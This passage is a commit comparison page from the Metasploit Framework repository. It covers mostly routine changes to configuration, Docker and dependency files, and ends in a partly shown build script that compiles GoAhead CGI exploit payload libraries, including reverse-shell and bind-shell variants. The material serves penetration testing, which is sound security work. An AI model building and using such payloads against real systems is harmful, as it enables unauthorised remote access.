Compare commits
304 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 5aa0078f4b | |||
| d5019be697 | |||
| a51c1209ab | |||
| 597a64b61b | |||
| bacab0507b | |||
| 06d3ab12a1 | |||
| 4a93947b1a | |||
| 6e71f5c5fd | |||
| 9a273a2663 | |||
| 012de0f6b1 | |||
| cbac801b88 | |||
| bbb5ff8ad4 | |||
| f9d27aaa30 | |||
| 06711c6da9 | |||
| 2f50df7fe7 | |||
| 14ff692d12 | |||
| 78c07b86c4 | |||
| 72d8f5ba22 | |||
| 3bc5b0bdcb | |||
| afa3b3a83f | |||
| 1de1b04c4f | |||
| a75b37579d | |||
| a260716305 | |||
| bbbd81bf1f | |||
| b2b97db28b | |||
| 80b16ea645 | |||
| 76a47b81bc | |||
| 0aaae09e5c | |||
| 78f546ce81 | |||
| 0901f35f9c | |||
| dcbc871883 | |||
| 75196b4fc6 | |||
| 9785ace675 | |||
| a74b2b5716 | |||
| 935fa6414e | |||
| 38465e69a8 | |||
| 6c669ecdfc | |||
| e0317671fe | |||
| 8739befa70 | |||
| d6cea3523a | |||
| ad33d72e6e | |||
| 635f483b42 | |||
| f4d9788454 | |||
| 37767e9d4c | |||
| 9f2a442d9b | |||
| a14892774f | |||
| 7382928f10 | |||
| c38bca1799 | |||
| 3b8280c33f | |||
| 173171e2c8 | |||
| 0ba4e349a1 | |||
| 009e643ae3 | |||
| 188b02d1f5 | |||
| 3b7d2c8177 | |||
| 92ada42fc5 | |||
| b3ac70f539 | |||
| 1d7ecb6d9e | |||
| 492b6003b5 | |||
| d340ef2632 | |||
| c23cbde8a1 | |||
| ab12eb8c50 | |||
| 2aa7904270 | |||
| 6ea0e734f9 | |||
| efc9c1724f | |||
| 0949bedf67 | |||
| e5db541726 | |||
| 9ea69b1e35 | |||
| 505eff4403 | |||
| a44bcff2d8 | |||
| abfcdc3fa7 | |||
| 6cbd7ba895 | |||
| d2a43d934d | |||
| 01b4b52407 | |||
| 63e096836f | |||
| b958526b6a | |||
| 8bacddb18f | |||
| 0bb0e78599 | |||
| 3c677aa6bf | |||
| 6b9be37741 | |||
| c6d92e3123 | |||
| 5b42a81d3a | |||
| c3ecbb723d | |||
| e43686177a | |||
| 4e34413026 | |||
| a8a0dd3fcb | |||
| 3fae373270 | |||
| d394146339 | |||
| 876df392f1 | |||
| 084e6b1db3 | |||
| 1743730158 | |||
| c9ae351156 | |||
| c5db4c5021 | |||
| fcafc54db1 | |||
| 62c6340d70 | |||
| 06062f0347 | |||
| 69d995f98c | |||
| ded6a50883 | |||
| 8707047f41 | |||
| 914f8ba872 | |||
| 4765ffc05a | |||
| 706b87d085 | |||
| ef4fd1dc75 | |||
| 9d5ab1dedf | |||
| c2bf848ba9 | |||
| 7f62d49b2a | |||
| 1557540b08 | |||
| f4810c1085 | |||
| f956bb9943 | |||
| d98e85f97c | |||
| c3f9ee2ae3 | |||
| d6f23071ca | |||
| 61da48fc5d | |||
| d192be7764 | |||
| 5560b201b0 | |||
| 6b15be18e7 | |||
| 707b358ad6 | |||
| 60376fe3f4 | |||
| 10ed6637ed | |||
| c7d5d1f489 | |||
| 5d9d0b19ee | |||
| 9d076f6842 | |||
| 36ba1468e8 | |||
| 3b87bf5a03 | |||
| 6108d79dcd | |||
| 409ae22a7e | |||
| fdf9ea04a6 | |||
| 5b1577e46d | |||
| 135b7c6b92 | |||
| 17040e9894 | |||
| 71a1ad69dc | |||
| 57411b4ef8 | |||
| b870091380 | |||
| c31a8ab687 | |||
| 72d2b46ac8 | |||
| 26d333357b | |||
| 584a6ca796 | |||
| 106fbf8a17 | |||
| c56e571b18 | |||
| b860985347 | |||
| a94e6559e6 | |||
| 8bf76a71c2 | |||
| 517b32c836 | |||
| 37576d19a1 | |||
| 030eae5f61 | |||
| 2ad3124f85 | |||
| d756db4f9d | |||
| ef7b77ed01 | |||
| dcb514e5ac | |||
| 7d072ccbcd | |||
| 715279311a | |||
| 8af0d9ceaa | |||
| 44ac2e9c58 | |||
| bf43542743 | |||
| 8f4895c8e7 | |||
| c5e231cfbf | |||
| 028d329b4d | |||
| 8c60a73731 | |||
| bcc0a2a94c | |||
| 149f04cc58 | |||
| 4778de053a | |||
| 49bc0024c1 | |||
| fbee660136 | |||
| 64019d3301 | |||
| 4ef90d8d6c | |||
| c1b50f728b | |||
| f6223c0193 | |||
| 9be7bc9b21 | |||
| d3b4f91b4c | |||
| 6909c635bc | |||
| 31bf6d1bd0 | |||
| 2731b91036 | |||
| e57a1fbd43 | |||
| d5edb566f5 | |||
| 00d5fcfd97 | |||
| 0c86296d99 | |||
| d2150c8d15 | |||
| 4841f29190 | |||
| 6060549512 | |||
| b63a018509 | |||
| 4839e8e7c8 | |||
| 80f34c9b2d | |||
| 3fd2862f76 | |||
| 096ca90953 | |||
| 667cc5bcca | |||
| 789034a06c | |||
| b2f112fd2b | |||
| fac7f3d5be | |||
| 95a5ebc1e7 | |||
| 735fbc5c9f | |||
| fc8cafe81a | |||
| bffba1e5e3 | |||
| 3021a3202b | |||
| 0a5e9d922f | |||
| 2af4f56382 | |||
| ac6fede928 | |||
| c7cd9ca395 | |||
| fd029eda62 | |||
| 178afdaed1 | |||
| a189673782 | |||
| 826b986018 | |||
| 4e8fe54c6c | |||
| c1d701f656 | |||
| dc913b60e4 | |||
| 40220b5ab6 | |||
| 72cb9f358e | |||
| eb54ae4ec0 | |||
| 3635a92f5a | |||
| af8736cad6 | |||
| 72efbb9534 | |||
| d614e06bfa | |||
| 59a41f04f7 | |||
| 8c2484d2da | |||
| d2c203bcb9 | |||
| 13c8072bca | |||
| 5dede95e98 | |||
| 2395f839d0 | |||
| a27b2bff3c | |||
| f581942c7f | |||
| b3962c73b0 | |||
| 2d10a9a201 | |||
| 0b719772cb | |||
| d89a8c3eb9 | |||
| f055bccc2a | |||
| 51a685bcc7 | |||
| d2e71cfc8b | |||
| 60e37e1c78 | |||
| 31ed50ac92 | |||
| 004e228a52 | |||
| e8ad3a98e9 | |||
| b9a8f227fb | |||
| 87dcb13413 | |||
| 1045c1fc11 | |||
| c5a73bdea3 | |||
| 7cde510eb6 | |||
| 358954e15c | |||
| 0cee8485d0 | |||
| bdc0b47844 | |||
| aecc1f143f | |||
| f281b45384 | |||
| e485b152e3 | |||
| 1126acb201 | |||
| 37cb2d77e7 | |||
| 6c3168c541 | |||
| 73bcec5d11 | |||
| 090f7c8bd6 | |||
| 72ed11574b | |||
| cd7187023c | |||
| 32bd516e70 | |||
| 656eb1150a | |||
| 55ae1f7bbe | |||
| 4d4538dceb | |||
| cd723ac86e | |||
| b0da7fcd26 | |||
| 0fe2fb9186 | |||
| a7e779d987 | |||
| b696665adc | |||
| 909b787a56 | |||
| 5457cec81c | |||
| 64c0d60fbf | |||
| 49c9b3cf1e | |||
| e82ff28374 | |||
| 1fdc4bdabb | |||
| 6c350be24e | |||
| 016af01fd8 | |||
| ce3d5d77e4 | |||
| ec12d61702 | |||
| 445b72fdcd | |||
| 48c3c7cd62 | |||
| 64746d8325 | |||
| b7fbffa331 | |||
| 4fa68f29d9 | |||
| a9d4a98d80 | |||
| cca76d2217 | |||
| bff02efad4 | |||
| 395320ba97 | |||
| a87ae41d81 | |||
| 0d98135fcb | |||
| c2379308cf | |||
| af0c58c2ae | |||
| b515a582f0 | |||
| 25652c6c17 | |||
| 926ce42a01 | |||
| 2ea9ab2625 | |||
| a4022f7b8f | |||
| 06b702e86b | |||
| 8f2de5cd41 | |||
| a136841794 | |||
| 15f631dcb5 | |||
| d6beb94c59 | |||
| 5ec3da843e | |||
| 294a8e0ada | |||
| bb73d2c07e | |||
| 47682e3f37 | |||
| 5fc1988d63 | |||
| ab610f599b | |||
| 7da3bdd081 | |||
| 10fafb62bb | |||
| 512192d3b0 | |||
| 55c345418d | |||
| b8fc2c0213 | |||
| 23619431aa | |||
| 0916d8402e | |||
| bf6540585f | |||
| 898aa82933 |
@@ -4,6 +4,7 @@
|
||||
docker-compose*.yml
|
||||
docker/
|
||||
!docker/msfconsole.rc
|
||||
!docker/entrypoint.sh
|
||||
README.md
|
||||
.git/
|
||||
.github/
|
||||
|
||||
+20
-3
@@ -17,6 +17,10 @@ Metrics/ClassLength:
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
Style/ClassAndModuleChildren:
|
||||
Enabled: false
|
||||
Description: 'Forced nesting is harmful for grepping and general code comprehension'
|
||||
|
||||
Metrics/AbcSize:
|
||||
Enabled: false
|
||||
Description: 'This is often a red-herring'
|
||||
@@ -29,6 +33,10 @@ Metrics/PerceivedComplexity:
|
||||
Enabled: false
|
||||
Description: 'This is often a red-herring'
|
||||
|
||||
Style/TernaryParentheses:
|
||||
Enabled: false
|
||||
Description: 'This outright produces bugs'
|
||||
|
||||
Style/FrozenStringLiteralComment:
|
||||
Enabled: false
|
||||
Description: 'We cannot support this yet without a lot of things breaking'
|
||||
@@ -37,6 +45,10 @@ Style/RedundantReturn:
|
||||
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
|
||||
Enabled: false
|
||||
|
||||
Style/NumericPredicate:
|
||||
Description: 'This adds no efficiency nor space saving'
|
||||
Enabled: false
|
||||
|
||||
Style/Documentation:
|
||||
Enabled: true
|
||||
Description: 'Most Metasploit modules do not have class documentation.'
|
||||
@@ -92,9 +104,10 @@ Style/NumericLiterals:
|
||||
Enabled: false
|
||||
Description: 'This often hurts readability for exploit-ish code.'
|
||||
|
||||
Layout/SpaceInsideBrackets:
|
||||
Enabled: false
|
||||
Description: 'Until module template are final, most modules will fail this.'
|
||||
Layout/AlignParameters:
|
||||
Enabled: true
|
||||
EnforcedStyle: 'with_fixed_indentation'
|
||||
Description: 'initialize method of every module has fixed indentation for Name, Description, etc'
|
||||
|
||||
Style/StringLiterals:
|
||||
Enabled: false
|
||||
@@ -104,6 +117,10 @@ Style/WordArray:
|
||||
Enabled: false
|
||||
Description: 'Metasploit prefers consistent use of []'
|
||||
|
||||
Style/IfUnlessModifier:
|
||||
Enabled: false
|
||||
Description: 'This style might save a couple of lines, but often makes code less clear'
|
||||
|
||||
Style/RedundantBegin:
|
||||
Exclude:
|
||||
# this pattern is very common and somewhat unavoidable
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
2.4.2
|
||||
2.5.1
|
||||
|
||||
+3
-3
@@ -11,9 +11,9 @@ addons:
|
||||
- graphviz
|
||||
language: ruby
|
||||
rvm:
|
||||
- '2.2'
|
||||
- '2.3.5'
|
||||
- '2.4.2'
|
||||
- '2.3.7'
|
||||
- '2.4.4'
|
||||
- '2.5.1'
|
||||
|
||||
env:
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
|
||||
|
||||
+6
-1
@@ -36,8 +36,13 @@ and Metasploit's [Common Coding Mistakes].
|
||||
* **Do** get [Rubocop] relatively quiet against the code you are adding or modifying.
|
||||
* **Do** follow the [50/72 rule] for Git commit messages.
|
||||
* **Don't** use the default merge messages when merging from other branches.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
If you do not send a PR from a topic branch, the history of your PR will be
|
||||
lost as soon as you update your own master branch. See
|
||||
https://github.com/rapid7/metasploit-framework/pull/8000 for an example of
|
||||
this in action.
|
||||
|
||||
|
||||
### Pull Requests
|
||||
|
||||
|
||||
+13
-7
@@ -1,9 +1,8 @@
|
||||
FROM ruby:2.4.2-alpine
|
||||
FROM ruby:2.5.1-alpine3.7
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
||||
ENV APP_HOME /usr/src/metasploit-framework/
|
||||
ENV MSF_USER msf
|
||||
ENV NMAP_PRIVILEGED=""
|
||||
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||
WORKDIR $APP_HOME
|
||||
@@ -15,19 +14,23 @@ COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
|
||||
|
||||
RUN apk update && \
|
||||
apk add \
|
||||
bash \
|
||||
sqlite-libs \
|
||||
nmap \
|
||||
nmap-scripts \
|
||||
nmap-nselibs \
|
||||
postgresql-libs \
|
||||
python \
|
||||
python3 \
|
||||
ncurses \
|
||||
libcap \
|
||||
su-exec \
|
||||
&& apk add --virtual .ruby-builddeps \
|
||||
autoconf \
|
||||
bison \
|
||||
build-base \
|
||||
ruby-dev \
|
||||
openssl-dev \
|
||||
libressl-dev \
|
||||
readline-dev \
|
||||
sqlite-dev \
|
||||
postgresql-dev \
|
||||
@@ -45,13 +48,16 @@ RUN apk update && \
|
||||
&& apk del .ruby-builddeps \
|
||||
&& rm -rf /var/cache/apk/*
|
||||
|
||||
RUN adduser -g msfconsole -D $MSF_USER
|
||||
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
|
||||
USER $MSF_USER
|
||||
|
||||
ADD ./ $APP_HOME
|
||||
|
||||
# we need this entrypoint to dynamically create a user
|
||||
# matching the hosts UID and GID so we can mount something
|
||||
# from the users home directory. If the IDs don't match
|
||||
# it results in access denied errors. Once docker has
|
||||
# a solution for this we can revert it back to normal
|
||||
ENTRYPOINT ["docker/entrypoint.sh"]
|
||||
|
||||
CMD ["./msfconsole", "-r", "docker/msfconsole.rc"]
|
||||
|
||||
@@ -19,10 +19,8 @@ group :development do
|
||||
# module documentation
|
||||
gem 'octokit'
|
||||
# Metasploit::Aggregator external session proxy
|
||||
gem 'metasploit-aggregator' if [
|
||||
'x86-mingw32', 'x64-mingw32',
|
||||
'x86_64-linux', 'x86-linux',
|
||||
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
|
||||
# disabled during 2.5 transition until aggregator is available
|
||||
#gem 'metasploit-aggregator'
|
||||
end
|
||||
|
||||
group :development, :test do
|
||||
|
||||
+47
-81
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.16.32)
|
||||
metasploit-framework (4.16.57)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -16,11 +16,11 @@ PATH
|
||||
json
|
||||
metasm
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-credential (< 3.0.0)
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.25)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.3.3)
|
||||
metasploit-payloads (= 1.3.34)
|
||||
metasploit_data_models (< 3.0.0)
|
||||
metasploit_payloads-mettle (= 0.3.8)
|
||||
mqtt
|
||||
msgpack
|
||||
nessus_rest
|
||||
@@ -38,7 +38,6 @@ PATH
|
||||
pg (= 0.20.0)
|
||||
railties
|
||||
rb-readline
|
||||
rbnacl (< 5.0.0)
|
||||
recog
|
||||
redcarpet
|
||||
rex-arch
|
||||
@@ -59,7 +58,8 @@ PATH
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-zip
|
||||
ruby_smb
|
||||
ruby-macho
|
||||
ruby_smb (= 0.0.18)
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sqlite3
|
||||
@@ -73,7 +73,7 @@ PATH
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.0.2)
|
||||
Ascii85 (1.0.3)
|
||||
actionpack (4.2.10)
|
||||
actionview (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
@@ -103,20 +103,20 @@ GEM
|
||||
public_suffix (>= 2.0.2, < 4.0)
|
||||
afm (0.2.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.5.0)
|
||||
arel-helpers (2.7.0)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
backports (3.11.0)
|
||||
backports (3.11.3)
|
||||
bcrypt (3.1.11)
|
||||
bcrypt_pbkdf (1.0.0)
|
||||
bindata (2.4.1)
|
||||
bindata (2.4.3)
|
||||
bit-struct (0.16)
|
||||
builder (3.2.3)
|
||||
coderay (1.1.2)
|
||||
concurrent-ruby (1.0.5)
|
||||
crass (1.0.3)
|
||||
crass (1.0.4)
|
||||
diff-lcs (1.3)
|
||||
dnsruby (1.60.2)
|
||||
docile (1.1.5)
|
||||
docile (1.3.0)
|
||||
erubis (2.7.0)
|
||||
factory_girl (4.9.0)
|
||||
activesupport (>= 3.0.0)
|
||||
@@ -125,53 +125,28 @@ GEM
|
||||
railties (>= 3.0.0)
|
||||
faker (1.8.7)
|
||||
i18n (>= 0.7)
|
||||
faraday (0.13.1)
|
||||
faraday (0.15.1)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.9.18)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.5)
|
||||
google-protobuf (3.5.1)
|
||||
googleapis-common-protos-types (1.0.1)
|
||||
google-protobuf (~> 3.0)
|
||||
googleauth (0.6.2)
|
||||
faraday (~> 0.12)
|
||||
jwt (>= 1.4, < 3.0)
|
||||
logging (~> 2.0)
|
||||
memoist (~> 0.12)
|
||||
multi_json (~> 1.11)
|
||||
os (~> 0.9)
|
||||
signet (~> 0.7)
|
||||
grpc (1.8.3)
|
||||
google-protobuf (~> 3.1)
|
||||
googleapis-common-protos-types (~> 1.0.0)
|
||||
googleauth (>= 0.5.1, < 0.7)
|
||||
fivemat (1.3.6)
|
||||
hashery (2.1.2)
|
||||
i18n (0.9.1)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.1.0)
|
||||
jwt (2.1.0)
|
||||
little-plugger (1.1.4)
|
||||
logging (2.2.2)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.10)
|
||||
loofah (2.1.1)
|
||||
loofah (2.2.2)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
memoist (0.16.0)
|
||||
metasm (1.0.3)
|
||||
metasploit-aggregator (1.0.0)
|
||||
grpc
|
||||
rex-arch
|
||||
metasploit-concern (2.0.5)
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-credential (2.0.12)
|
||||
metasploit-credential (2.0.14)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models
|
||||
metasploit_data_models (< 3.0.0)
|
||||
pg
|
||||
railties
|
||||
rex-socket
|
||||
@@ -181,41 +156,39 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.25)
|
||||
metasploit_data_models (2.0.15)
|
||||
metasploit-payloads (1.3.34)
|
||||
metasploit_data_models (2.0.16)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
pg
|
||||
pg (= 0.20.0)
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.3.3)
|
||||
metasploit_payloads-mettle (0.3.8)
|
||||
method_source (0.9.0)
|
||||
mini_portile2 (2.3.0)
|
||||
minitest (5.11.1)
|
||||
minitest (5.11.3)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.2.2)
|
||||
multi_json (1.13.1)
|
||||
msgpack (1.2.4)
|
||||
multipart-post (2.0.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-ssh (4.2.0)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.1.1)
|
||||
nokogiri (1.8.1)
|
||||
nexpose (7.2.0)
|
||||
nokogiri (1.8.2)
|
||||
mini_portile2 (~> 2.3.0)
|
||||
octokit (4.8.0)
|
||||
octokit (4.9.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
openvas-omp (0.0.4)
|
||||
os (0.9.6)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.12.4)
|
||||
pdf-reader (2.0.0)
|
||||
pdf-reader (2.1.0)
|
||||
Ascii85 (~> 1.0.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
@@ -223,15 +196,15 @@ GEM
|
||||
ttfunk
|
||||
pg (0.20.0)
|
||||
pg_array_parser (0.0.9)
|
||||
postgres_ext (3.0.0)
|
||||
activerecord (>= 4.0.0)
|
||||
postgres_ext (3.0.1)
|
||||
activerecord (~> 4.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.11.3)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.9.0)
|
||||
public_suffix (3.0.1)
|
||||
rack (1.6.8)
|
||||
public_suffix (3.0.2)
|
||||
rack (1.6.10)
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rails-deprecated_sanitizer (1.0.3)
|
||||
@@ -240,18 +213,16 @@ GEM
|
||||
activesupport (>= 4.2.0, < 5.0)
|
||||
nokogiri (~> 1.6)
|
||||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-html-sanitizer (1.0.3)
|
||||
loofah (~> 2.0)
|
||||
rails-html-sanitizer (1.0.4)
|
||||
loofah (~> 2.2, >= 2.2.2)
|
||||
railties (4.2.10)
|
||||
actionpack (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.3.0)
|
||||
rake (12.3.1)
|
||||
rb-readline (0.5.5)
|
||||
rbnacl (4.0.2)
|
||||
ffi
|
||||
recog (2.1.17)
|
||||
recog (2.1.19)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.13)
|
||||
@@ -262,12 +233,12 @@ GEM
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.12)
|
||||
rex-core (0.1.13)
|
||||
rex-encoder (0.1.4)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.16)
|
||||
rex-exploitation (0.1.19)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -290,14 +261,14 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.10)
|
||||
rex-socket (0.1.14)
|
||||
rex-core
|
||||
rex-sslscan (0.1.5)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.2)
|
||||
rex-text (0.2.16)
|
||||
rex-text (0.2.20)
|
||||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rkelly-remix (0.0.7)
|
||||
@@ -323,7 +294,8 @@ GEM
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.7.0)
|
||||
rspec-support (3.7.1)
|
||||
ruby-macho (1.1.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (0.0.18)
|
||||
bindata
|
||||
@@ -334,13 +306,8 @@ GEM
|
||||
sawyer (0.8.1)
|
||||
addressable (>= 2.3.5, < 2.6)
|
||||
faraday (~> 0.8, < 1.0)
|
||||
signet (0.8.1)
|
||||
addressable (~> 2.3)
|
||||
faraday (~> 0.9)
|
||||
jwt (>= 1.5, < 3.0)
|
||||
multi_json (~> 1.10)
|
||||
simplecov (0.15.1)
|
||||
docile (~> 1.1.0)
|
||||
simplecov (0.16.1)
|
||||
docile (~> 1.1)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
simplecov-html (0.10.2)
|
||||
@@ -350,9 +317,9 @@ GEM
|
||||
thread_safe (0.3.6)
|
||||
timecop (0.9.1)
|
||||
ttfunk (1.5.1)
|
||||
tzinfo (1.2.4)
|
||||
tzinfo (1.2.5)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2017.3)
|
||||
tzinfo-data (1.2018.5)
|
||||
tzinfo (>= 1.0.0)
|
||||
windows_error (0.1.2)
|
||||
xdr (2.0.0)
|
||||
@@ -367,7 +334,6 @@ PLATFORMS
|
||||
DEPENDENCIES
|
||||
factory_girl_rails
|
||||
fivemat
|
||||
metasploit-aggregator
|
||||
metasploit-framework!
|
||||
octokit
|
||||
pry
|
||||
|
||||
@@ -75,6 +75,10 @@ Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
|
||||
Copyright: 2006-2010 Yoann GUILLOT
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: lib/msf/core/modules/external/python/async_timeout/*
|
||||
Copyright: 2016-2017 Andrew Svetlov
|
||||
License: Apache 2.0
|
||||
|
||||
Files: lib/net/dns.rb lib/net/dns/*
|
||||
Copyright: 2006 Marco Ceresa
|
||||
License: Ruby
|
||||
@@ -599,6 +603,54 @@ License: Artistic
|
||||
DAMAGES ARISING IN ANY WAY OUT OF THE USE OF THE PACKAGE, EVEN IF
|
||||
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
License: Apache
|
||||
Version 1.1, 2000
|
||||
Modifications by CORE Security Technologies
|
||||
.
|
||||
Copyright (c) 2000 The Apache Software Foundation. All rights
|
||||
reserved.
|
||||
.
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
.
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
.
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in
|
||||
the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
.
|
||||
3. The end-user documentation included with the redistribution,
|
||||
if any, must include the following acknowledgment:
|
||||
"This product includes software developed by
|
||||
CORE Security Technologies (http://www.coresecurity.com/)."
|
||||
Alternately, this acknowledgment may appear in the software itself,
|
||||
if and wherever such third-party acknowledgments normally appear.
|
||||
.
|
||||
4. The names "Impacket" and "CORE Security Technologies" must
|
||||
not be used to endorse or promote products derived from this
|
||||
software without prior written permission. For written
|
||||
permission, please contact oss@coresecurity.com.
|
||||
.
|
||||
5. Products derived from this software may not be called "Impacket",
|
||||
nor may "Impacket" appear in their name, without prior written
|
||||
permission of CORE Security Technologies.
|
||||
.
|
||||
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
|
||||
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
|
||||
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
|
||||
USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGE.
|
||||
|
||||
License: Apache
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
+1
-1
@@ -96,7 +96,7 @@ rex-rop_builder, 0.1.3, "New BSD"
|
||||
rex-socket, 0.1.8, "New BSD"
|
||||
rex-sslscan, 0.1.4, "New BSD"
|
||||
rex-struct2, 0.1.2, "New BSD"
|
||||
rex-text, 0.2.15, "New BSD"
|
||||
rex-text, 0.2.17, "New BSD"
|
||||
rex-zip, 0.1.3, "New BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
robots, 0.10.1, MIT
|
||||
|
||||
BIN
Binary file not shown.
Executable
+48
@@ -0,0 +1,48 @@
|
||||
#!/bin/bash
|
||||
|
||||
build () {
|
||||
CC=$1
|
||||
TARGET_SUFFIX=$2
|
||||
CFLAGS=$3
|
||||
|
||||
echo "[*] Building for ${TARGET_SUFFIX}..."
|
||||
for type in {shellcode,system,reverse,bind}
|
||||
do ${CC} ${CFLAGS} -Wall -fPIC -fno-stack-protector -Os goahead-cgi-${type}.c -s -shared -o goahead-cgi-${type}-${TARGET_SUFFIX}.so
|
||||
done
|
||||
}
|
||||
|
||||
rm -f *.o *.so *.gz
|
||||
|
||||
#
|
||||
# Linux GLIBC
|
||||
#
|
||||
|
||||
# x86
|
||||
build "gcc" "linux-glibc-x86_64" "-m64 -D OLD_LIB_SET_2"
|
||||
build "gcc" "linux-glibc-x86" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# ARM
|
||||
build "arm-linux-gnueabi-gcc-5" "linux-glibc-armel" "-march=armv5 -mlittle-endian"
|
||||
build "arm-linux-gnueabihf-gcc-5" "linux-glibc-armhf" "-march=armv7 -mlittle-endian"
|
||||
build "aarch64-linux-gnu-gcc-4.9" "linux-glibc-aarch64" ""
|
||||
|
||||
# MIPS
|
||||
